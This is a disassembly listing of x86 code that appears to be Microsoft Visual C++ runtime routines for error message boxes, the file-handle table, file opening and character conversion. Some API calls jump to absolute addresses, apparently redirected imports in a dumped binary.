		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h


loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C08 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43D03C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------


loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D03C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 2630000h
		push	eax
		nop
		call	near ptr 26E0000h


loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DCCA0


loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]


loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------


loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB


loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DCDA0
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------


loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DCDA0, 20h
		lea	ecx, ds:4DCCA0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------


loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi


loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCDA0
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A9A4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		nop
		call	near ptr 26203D1h


loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------


loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh


loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DCDA0
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A9A4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		nop
		call	near ptr 26203D1h


loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------


loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh


loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DCCA0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		call	near ptr 2620000h
		nop
		test	eax, eax
		jnz	short loc_42391D
		call	near ptr 26709D6h
		nop
		jmp	short loc_42391F
; ---------------------------------------------------------------------------


loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax


loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB95C, eax


loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DCC80
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------


loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi


loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DCC80, eax


loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC78, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DCC80, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC78, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx


loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43D0C8


loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DBC78
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D348
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43D0D8


loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD


loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D138
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB998, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBB40
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------


loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DBC50, eax
		jz	short loc_423A7E


loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h


loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4


loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB958, 16h
		mov	dword_4DB95C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------


loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h


loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx


loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------


loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1


loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB960
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi


loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi


loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------


loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h


loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB95C, 0
		mov	dword_4DB958, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------


loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0781h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		call	near ptr 26205F2h
		nop
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		call	near ptr 265092Ah
		nop


loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		nop
		call	near ptr 26709D6h
		push	eax
		call	sub_4203DF
		pop	ecx


loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------


loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------


loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8


loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB95C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------


loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2


loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE


loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx


loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------


loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx


loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C48
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBB48
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427938
		push	esi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------


loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB50C
		push	esi
		push	ebx
		nop
		call	near ptr 2610785h
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax


loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DBB48, eax


loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DBA14


loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610785h
		jmp	loc_423E23
; ---------------------------------------------------------------------------


loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DBA24
		mov	[ebp+arg_10], eax


loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	near ptr 2800000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2800000h
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2610000h
		jmp	short loc_423E23
; ---------------------------------------------------------------------------


loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax


loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DBA14, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43CBE4
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBA24
		nop
		call	near ptr 27F1129h
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1


loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB958, 2Ah
		or	eax, 0FFFFFFFFh


loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx


loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax


loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DBA14, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax


loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C9D8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43CBE4
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBA24
		nop
		call	near ptr 2800000h
		test	eax, eax
		mov	eax, dword_43CBE4
		jnz	short loc_423EE8


loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8


loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB958, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
